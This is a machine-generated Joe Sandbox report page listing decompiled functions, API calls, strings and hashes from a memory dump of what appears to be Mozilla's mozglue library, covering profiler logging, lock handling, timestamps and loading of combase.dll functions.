Instruction ID: 26680e453d8c64d81b35c69b426c39f1c8ef96ad4c004d80c5ff37e6f3bef7e5
Opcode Fuzzy Hash: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction Fuzzy Hash: EC216D742056019BEB24DF29CC88A5A77B5EF8430CF164829E55B83F42EB31F948CB56

Function 6C4E1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E1699
VerSetConditionMask.NTDLL ref: 6C4E16CB
VerSetConditionMask.NTDLL ref: 6C4E16D7
VerSetConditionMask.NTDLL ref: 6C4E16DE
VerSetConditionMask.NTDLL ref: 6C4E16E5
VerSetConditionMask.NTDLL ref: 6C4E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E16F9

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction ID: b102370272a60fdb7ddf50535139f1f58e7c24a438c8255c1155fc4aa3c94ab3
Opcode Fuzzy Hash: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction Fuzzy Hash: F621D5B07402086FEB11AB648C85FBB73BCEFC6704F414528F6459B181C678AD548AA1

Function 6C51F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction ID: 671ed7e3cd39fdc4488d6dc10d7ea607c067fb2f3cbdbd2bc388f8c84fdc9897
Opcode Fuzzy Hash: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction Fuzzy Hash: 0511E335305204EBDB04AF19DC4C9A5B7B9FFC636CB950116EA0583F42CB72AC21CBA4

Function 6C4E2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,6C4E1C5F), ref: 6C4E20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4E20CD
__Init_thread_footer.LIBCMT ref: 6C4E20E1
FreeLibrary.KERNEL32 ref: 6C4E2124

Strings

CoInitializeSecurity, xrefs: 6C4E20C7
combase.dll, xrefs: 6C4E20A9

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction ID: 724b7dcfe417fddd0408b3a881c7a3e8ff2e37171c7e054a0abc05ff653d243c
Opcode Fuzzy Hash: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction Fuzzy Hash: 3421BB3620020AEFDF20DF58EC4CD9A3B76FB4A326F524215FA0492691DB319861CFA4

Function 6C5376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C537705

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C537717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C53778F,00000000,00000000,00000000,00000000), ref: 6C537731
free.MOZGLUE(00000000), ref: 6C537760

Strings

}>Ql, xrefs: 6C5376C4

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Ql
API String ID: 2538299546-1900031649
Opcode ID: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction ID: 7cd4cb3be489ca738c33d0f4a790c6aced969121796f8d091fd407002e45737d
Opcode Fuzzy Hash: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction Fuzzy Hash: A911B6B1D04325ABEB10AF759D44B6B7FE8EF45354F044529F84897300F771985487E2

Function 6C4E1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C4E1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C4E1FFD
__Init_thread_footer.LIBCMT ref: 6C4E2011
FreeLibrary.KERNEL32 ref: 6C4E2059

Strings

combase.dll, xrefs: 6C4E1FD9
CoCreateInstance, xrefs: 6C4E1FF7

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction ID: e6702fa9680ce75b793fe7058ce0083f8d3425a0553f290eec4ea28777307759
Opcode Fuzzy Hash: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction Fuzzy Hash: E6114C75701205AFDF20DF15CC4CE5A3B79EB8A35AF524229EA0592781DB319811CB65

Function 6C4E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C50D9F0,00000000), ref: 6C4E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C4E0F3C
__Init_thread_footer.LIBCMT ref: 6C4E0F50
FreeLibrary.KERNEL32(?,6C50D9F0,00000000), ref: 6C4E0F86

Strings

CoInitializeEx, xrefs: 6C4E0F36
combase.dll, xrefs: 6C4E0F18

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction ID: 5c17cb0f4842a5239aa8d0bed3f75784ee9aa877dd618baf9bf4494b4ac05709
Opcode Fuzzy Hash: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction Fuzzy Hash: B811A0757052409BDF00DF98CD08F5E3774EB8A327F86432AE91592746DBB0A815CA5D

Function 6C51F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C51F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction ID: 17b7f23cbf35ed8d8333b605af5625767493b9381f77f5390d638f361b5bd773
Opcode Fuzzy Hash: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction Fuzzy Hash: 9CF05475704204DBEA007F659C4CA6A77BDFBC629DF860115EA05D3B02DB764C058769

Function 6C4E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C4E0DF8), ref: 6C4E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C4E0EA1
__Init_thread_footer.LIBCMT ref: 6C4E0EB5
FreeLibrary.KERNEL32 ref: 6C4E0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C4E0E9B
kernel32.dll, xrefs: 6C4E0E7D

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction ID: def99ec3fc9d00ef9490e1014e8f45dcf7e4c15eb715e0351a7535f1876f63b1
Opcode Fuzzy Hash: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction Fuzzy Hash: D8014670B10281CFDF10DFECDC18E6237B5F74A31AF930626D91192B40DB74A814DA99

Function 6C51F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction ID: 4fdd023a7c535947fa8f0704f97fb4e28435d990396d102b77be27f56afaab36
Opcode Fuzzy Hash: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction Fuzzy Hash: A5F05E75304204EBEA007B659C4CA6A7BBDFBC62ADF860116EA0993B41DB764C058769

Function 6C5105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C50CFAE,?,?,?,6C4D31A7), ref: 6C5105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C50CFAE,?,?,?,6C4D31A7), ref: 6C510616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4D31A7), ref: 6C51061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4D31A7), ref: 6C510627

Strings

<jemalloc>, xrefs: 6C5105FA, 6C51060F
: (malloc) Error in VirtualFree(), xrefs: 6C51061B, 6C510625

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction ID: e13ed05e0959d9c1f2a691f66eaca58f59ca917d16927e3779ebc1580edd3c4c
Opcode Fuzzy Hash: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction Fuzzy Hash: 59E08CF2A0101037F514225AAC8ADBB761DDBC6238F080039FD0D82301EA4BBD1E51F6

Function 6C4E05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction ID: 3029ad988cb6f74fa14e2f475022cdb69106582de1aada9ba2cbaa68e931ccb0
Opcode Fuzzy Hash: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction Fuzzy Hash: 7FA148B0A00605CFDB14CF29C984E9AFBF1BF89305F45866ED45A97B00EB30A945CF90

Function 6C5314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5314E2
GetCurrentThreadId.KERNEL32 ref: 6C531546
InitializeConditionVariable.KERNEL32(?), ref: 6C5315BA
free.MOZGLUE(?), ref: 6C5316B4

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction ID: 46c7631fee0261bc19cc084fc37e4cc20f6840f106e69e9aab641973170204b9
Opcode Fuzzy Hash: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction Fuzzy Hash: 3C61DD72A00710DBDB119F24CC80BDBB7B0BF89308F45951CE98A57611EB34E949CB91

Function 6C529F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C529FDB
free.MOZGLUE(?,?), ref: 6C529FF0
free.MOZGLUE(?,?), ref: 6C52A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C52A0BE
free.MOZGLUE(?,?), ref: 6C52A0D5
free.MOZGLUE(?,?), ref: 6C52A0EB

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction ID: 293edd352da6dcb6ba2a3d1f966d905af0f125f71f5164cac49946a5c317af7b
Opcode Fuzzy Hash: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction Fuzzy Hash: 4E618E755086419FC711CF18C88099AB7F5FFC8328F54865DE8A99B742EB31E986CBC1

Function 6C52DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C52D38A,?), ref: 6C52DC6F
free.MOZGLUE(?,?,?,?,?,6C52D38A,?), ref: 6C52DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C52D38A,?), ref: 6C52DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C52D38A,?), ref: 6C52DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C52D38A,?), ref: 6C52DD4A

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction ID: 526b124f5fac37a7ed760cea7cf9b11127322570b4d9416af6fec7c641cd10b3
Opcode Fuzzy Hash: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
